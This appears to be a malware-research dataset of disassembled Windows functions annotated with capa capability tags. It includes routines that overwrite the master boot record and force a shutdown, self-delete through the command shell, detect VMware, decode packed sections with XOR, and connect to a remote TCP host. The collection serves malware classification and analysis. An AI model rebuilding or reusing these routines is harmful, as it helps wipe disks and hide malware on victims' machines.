joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x3dcf55d3
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x1a5622de
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x408d57
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00408bd6

Function at 0x409f84
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00409c32
Function at 0x401ce0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x401d38
cmp byte [esi + ebx - 1], 0xa
je 0x401d0c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4030f8], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x401de0
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___argv
mov edi, dword [eax]
call sym.__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._main
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop
Function at 0x401207
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x4182e8]
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [0x4182ec]
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], eax
mov esi, dword [edi]
mov edx, dword [edi + 4]
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], edx
call fcn.00401200
mov ebx, dword [ebp - 0x18]
add ebx, 0x23f
cmp dword [0xb5cd64], 0x14
jne 0x401265
push 0
lea eax, [ebp - 0x830]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov edx, dword [ebp - 0xc]
mov ecx, dword [0x4182f0]
mov eax, dword [0x4182f4]
push 0x20
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
pop edi
mov dword [ebp - 0x1c], 2
add dword [ebp - 0x1c], 3
mov eax, esi
mov dword [ebp - 0xc], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0xb5cd64], 0xfa9
mov dword [ebp - 8], eax
mov eax, dword [0xb5cd60]
cmove eax, dword [ebp - 0xc]
and dword [ebp - 0xc], 0
cmp dword [0xb5cd64], 0x3eb
mov dword [0xb5cd60], eax
mov eax, dword [0xb5ccb8]
cmove eax, dword [ebp - 0xc]
mov dword [0xb5ccb8], eax
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
shr eax, 5
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
and dword [ebp - 0x10], 0
mov dword [0xb5cd5c], 0xf4ea3dee
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 4]
sub edx, eax
mov dword [ebp - 0x14], eax
mov eax, edx
mov dword [ebp - 0xc], edx
shl eax, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1c]
lea eax, [ebx + edx]
and dword [ebp - 4], 0
mov dword [ebp - 0x18], eax
mov eax, edx
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor dword [ebp - 0x10], eax
cmp dword [0xb5cd64], 0xb03
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
add ebx, 0x61c88647
mov ecx, dword [ebp - 0x24]
sub esi, eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], esi
dec edi
jne 0x401279
mov edi, dword [ebp - 0x2c]
mov dword [edi], esi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c0ca
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417f10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408870
mov dword [ebp - 0x14], eax
cmp dword [0x4b8558], esi
jne 0x40c1bd
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c14a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c29d
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c29d
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c29d
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4b8558], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4b855c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4b8560], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4b8568], eax
test eax, eax
je 0x40c1ba
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4b8564], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c1e2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c1d5
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c1f7
push 4
pop eax
jmp 0x40c29f
cmp dword [ebp - 0x14], esi
je 0x40c1f7
push dword [0x4b8558]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c1dc
mov eax, dword [0x4b8564]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c255
cmp dword [0x4b8568], edi
je 0x40c255
push eax
call ebx
push dword [0x4b8568]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c255
test eax, eax
je 0x40c255
call ecx
test eax, eax
je 0x40c24a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c24a
test byte [ebp - 8], 1
jne 0x40c255
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c285
mov eax, dword [0x4b855c]
cmp eax, edi
je 0x40c282
push eax
call ebx
test eax, eax
je 0x40c282
call eax
mov esi, eax
test esi, esi
je 0x40c282
mov eax, dword [0x4b8560]
cmp eax, edi
je 0x40c282
push eax
call ebx
test eax, eax
je 0x40c282
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4b8558]
call ebx
test eax, eax
je 0x40c29d
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c29f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403d87
mov esp, ebp
pop ebp
ret
Function at 0x401160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov dword [ebp - 4], 0
call section..text
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ecx, ecx
test eax, eax
jle 0x4011c7
push ebx
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x4011a2
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4011d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x4011fc
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x4011f0
pop esi
ret
Function at 0x401f40
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x40e7a0]
push ebx
push esi
push edi
test eax, eax
je case.default.0x401f70
mov esi, dword [esp + 0x10]
mov dword [0x40e7a0], 0
mov eax, dword [esi + 0x114]
add eax, 0xfffffffb
cmp eax, 3
ja case.default.0x401f70
jmp dword [eax*4 + 0x402098]
mov eax, dword [esi + 0x108]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
test eax, eax
jle 0x401fbd
cmp dword [esi + 0x10c], 1
jne 0x401fa2
push 0
push 0
push esi
push 0x4046c0
push 0
push 0
call edi
push 0
push 0
push esi
push 0x404370
push 0
push 0
call edi
mov eax, dword [esi + 0x108]
inc ebx
cmp ebx, eax
jl 0x401f89
push 0
push 0
push esi
push 0x401700
push 0
push 0
call edi
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x402084
push 0
push 0
push esi
push 0x4046c0
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x401fe7
push 0
push 0
push esi
push 0x401700
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x402084
push 0
push 0
push esi
push 0x4044b0
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x402028
push 0
push 0
push esi
push 0x401700
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x402084
push 0
push 0
push esi
push 0x404950
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x402069
push 0
push 0
push esi
push 0x401700
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret

Function at 0x4020b0
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x40e7a0]
push ebx
push esi
push edi
test eax, eax
je 0x40215a
mov esi, dword [esp + 0x10]
mov dword [0x40e7a0], 0
mov eax, dword [esi + 0x28c]
sub eax, 0x15
je 0x40211d
dec eax
jne 0x40215a
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x40214a
push 0
push 0
push esi
push 0x405940
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x4020ee
push 0
push 0
push esi
push 0x401700
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x40214a
push 0
push 0
push esi
push 0x405860
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x40212f
push 0
push 0
push esi
push 0x401700
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4022f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket

Disassembly:
mov al, byte [0x40e43e]
sub esp, 0x110
test al, 0x10
je 0x40230a
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
test byte [0x40e43e], 0x20
je 0x402336
push 0
push 0
push 0
push 0x402160
push 0
push 0
call fcn.00405d24
mov al, byte [0x40e43e]
add esp, 0x18
and al, 0xdf
mov byte [0x40e43e], al
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x99]
mov byte [esp + 0x98], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x40e614
push 0x40e33c
stosb byte es:[edi], al
call fcn.00405c20
add esp, 8
test eax, eax
je 0x4023da
push 0x40e614
push 0x40e33c
call fcn.00405f00
push eax
lea eax, [esp + 0xa4]
push 0x40e33c
push eax
call fcn.00406050
push 0x40e614
push 0x40e33c
call fcn.00405f00
add eax, 0x40e33d
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
add esp, 0x1c
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov word [esp + 8], 2
push ecx
call fcn.00405ee8
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 0x98]
mov word [esp + 0xa], ax
push edx
call fcn.004038d0
add esp, 4
mov dword [esp + 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [esp + 8]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402442
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x110
ret
mov eax, esi
pop edi
pop esi
add esp, 0x110
ret

Function at 0x402450
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
lea eax, [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
push 4
push eax
push 8
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4024a5
push eax
lea ecx, [esp + 0x1c]
push eax
push ecx
push eax
push eax
lea edx, [esp + 0x18]
push 0xc
push edx
push 0x98000004
push esi
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0x2bf20
mov dword [esp + 0x30], 0x2710
call dword [sym.imp.WS2_32.dll_WSAIoctl]
pop esi
add esp, 0xc
ret
Function at 0x402b40
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x402cad
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x402cad
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x402cad
lea ecx, [esp + 0x168]
push str.__c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402c9f
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0x402d30
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
push ebx
push ebp
push esi
push edi
push str.1V6olwFR7325Qf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402d62
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, 0x40e33c
or ecx, 0xffffffff
xor eax, eax
push 0x3e
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40e33c
call fcn.004011d0
push 0x40e33c
call fcn.00401160
mov ebx, eax
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffe4
cmp ecx, 0x7fffffff
ja 0x402dca
test ecx, ecx
lea edx, [ebx + 8]
mov esi, ecx
mov eax, 0x40e33c
je 0x402dca
sub edx, eax
mov cl, byte [edx + eax]
test cl, cl
je 0x402dc2
mov byte [eax], cl
inc eax
dec esi
jne 0x402db3
jmp 0x402dc6
test esi, esi
jne 0x402dc7
dec eax
mov byte [eax], 0
push ebx
call fcn.0040626e
add esp, 4
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x402d00
push 0
push 0
call fcn.00405d24
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push esi
call edi
push esi
call ebx
push 0x12c
call ebp
jmp 0x402df5
Function at 0x402e20
Capabilities:
Overwrite master boot record (mbr)
Reference the vmware io port
Terminate process
Write file on windows

Disassembly:
sub esp, 0x21c
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x25]
mov esi, 0x40e440
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 8
lea edi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
movsb byte es:[edi], byte [esi]
push str..PHYSICALDRIVE0
mov byte [esp + 0x23e], 0x55
mov byte [esp + 0x23f], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402e85
pop edi
or eax, eax
pop esi
add esp, 0x21c
ret
lea eax, [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x2c]
push 0x200
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x402f3e
lea ecx, [esp + 0xc]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x40fb80]
lea edx, [esp + 0x18]
push edx
push str.SeShutdownPrivilege
push 0
call dword [0x40fb60]
mov ecx, dword [esp + 0xc]
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
push 0
push ecx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], 2
call dword [0x40fb64]
push 0
push 6
call dword [0x40fb90]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x402f50
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c1d0
push 0x4063b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret